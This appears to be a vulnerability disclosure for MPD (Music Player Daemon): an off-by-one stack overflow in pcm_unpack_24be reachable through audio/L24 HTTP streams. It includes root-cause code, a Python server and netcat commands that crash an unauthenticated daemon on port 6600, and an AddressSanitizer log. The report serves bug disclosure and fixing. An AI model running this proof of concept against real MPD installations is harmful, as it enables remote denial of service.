Stack OOB read/write in `pcm_unpack_24be` (MPD, audio/L24 path)

[mstreet97]

Off by one in pcm_unpack_24be (src/pcm/Pack.cxx:82), made reachable by an undersized stack buffer in pcm_stream_decode (src/decoder/plugins/PcmDecoderPlugin.cxx:160-164). Any HTTP body that fills the FIFO and is served back as audio/L24 triggers a 1-byte OOB read on the FIFO storage and a 4-byte OOB write past the unpack buffer. Default config requires no auth, just two text commands on port 6600 are enough.

Tested on master (2c662081a). The same code lives at tag v0.24.9, so the released branch is affected too.

Root cause

The two stack buffers:

// src/decoder/plugins/PcmDecoderPlugin.cxx:160
StaticFifoBuffer<std::byte, 4096> buffer;
int32_t unpack_buffer[buffer.GetCapacity() / 3];   // 4096 / 3 = 1365

ceil(4096 / 3) is 1366, not 1365. unpack_buffer is one slot short of what the unpacker will write when the FIFO is full.

The loop:

// src/pcm/Pack.cxx:82
void
pcm_unpack_24be(int32_t *dest,
                const uint8_t *src, const uint8_t *src_end) noexcept
{
    while (src < src_end) {
        *dest++ = ReadS24BE(src);
        src += 3;
    }
}

With src_end - src == 4096, src walks 0, 3, 6, …, 4095, all 1366 values satisfy src < src_end. On the last iteration:

• ReadS24BE reads bytes at offsets 4095, 4096, 4097. The last two are off the end of the FIFO storage.
• The 32-bit result is written to unpack_buffer[1365], four bytes past the array.

Both buffers sit in the same stack frame, so the write lands on whatever the compiler placed next to unpack_buffer. Three of those four bytes come straight from the HTTP body.

Reproduction

Build with sanitizers, run with the default mpd.conf:

meson setup build_asan -Db_sanitize=address,undefined
meson compile -C build_asan

A server that hands back 16 KB of audio/L24. The body content doesn't matter, it just has to fill the FIFO:

python3 - <<'PY'
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = b"\xff" * 16384
        self.send_response(200)
        self.send_header("Content-Type", "audio/L24; rate=44100; channels=1")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
socketserver.TCPServer(("127.0.0.1", 18001), H).serve_forever()
PY

Point MPD at it from any unauthenticated TCP client:

printf 'add http://127.0.0.1:18001/foo.l24\nplay\nstatus\nclose\n' | nc -q 3 127.0.0.1 6600

ASan flags the read first. The write into unpack_buffer[1365] is the very next instruction in the same iteration, so a clean build with stack canaries trips __stack_chk_fail() on the same input.

Log:

=================================================================
==1211570==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b6d83ef1880 at pc 0x559ac6670bfa bp 0x7b6d852abff0 sp 0x7b6d852abfe8
READ of size 1 at 0x7b6d83ef1880 thread T4
    #0 0x559ac6670bf9 in ReadS24BE ../src/pcm/Pack.cxx:58
    #1 0x559ac6670bf9 in pcm_unpack_24be(int*, unsigned char const*, unsigned char const*) ../src/pcm/Pack.cxx:86
    #2 0x559ac62fa083 in pcm_stream_decode ../src/decoder/plugins/PcmDecoderPlugin.cxx:187
    #3 0x559ac5afe87c in DecoderPlugin::StreamDecode(DecoderClient&, InputStream&) const ../src/decoder/DecoderPlugin.hxx:199
    #4 0x559ac5afe87c in decoder_stream_decode ../src/decoder/Thread.cxx:142
    #5 0x559ac5b078e7 in decoder_run_stream_plugin ../src/decoder/Thread.cxx:227
    #6 0x559ac5b078e7 in decoder_run_stream_locked ../src/decoder/Thread.cxx:239
    #7 0x559ac5b078e7 in decoder_run_stream ../src/decoder/Thread.cxx:371
    #8 0x559ac5b078e7 in DecoderUnlockedRunUri ../src/decoder/Thread.cxx:519
    #9 0x559ac5b078e7 in decoder_run_song ../src/decoder/Thread.cxx:592
    #10 0x559ac5b078e7 in decoder_run ../src/decoder/Thread.cxx:637
    #11 0x559ac5b0bd38 in DecoderControl::RunThread() ../src/decoder/Thread.cxx:662
    #12 0x559ac5f20585 in BoundMethod<void () noexcept>::operator()() const ../src/util/BindMethod.hxx:52
    #13 0x559ac5f20585 in Thread::Run() ../src/thread/Thread.cxx:53
    #14 0x559ac5f20585 in Thread::ThreadProc(void*) ../src/thread/Thread.cxx:82
    #15 0x7f6d992605d6 in asan_thread_start ../../../../src/libsanitizer/asan/asan_interceptors.cpp:246
    #16 0x7f6d9589f468 in start_thread nptl/pthread_create.c:448
    #17 0x7f6d9591dcf7 in __clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:78

Address 0x7b6d83ef1880 is located in stack of thread T4 at offset 6272 in frame
    #0 0x559ac62f6eff in pcm_stream_decode ../src/decoder/plugins/PcmDecoderPlugin.cxx:48

  This frame has 72 object(s):
    [2160, 6272) 'buffer' (line 160) <== Memory access at offset 6272 overflows this variable
    [6528, 11988) 'unpack_buffer' (line 164)
    (other frame objects omitted for brevity)

SUMMARY: AddressSanitizer: stack-buffer-overflow ../src/pcm/Pack.cxx:58 in ReadS24BE
==1211570==ABORTING

Impact

On a release build with -fstack-protector-strong the 4-byte write clobbers the canary and __stack_chk_fail() kills the daemon, remote unauthenticated DoS, reachable on any MPD that accepts client connections (default port 6600, default bind on loopback, but plenty of installs expose it on the LAN).

On non hardened or stripped builds you get adjacent stack corruption instead. I didn't try to weaponise it past the abort.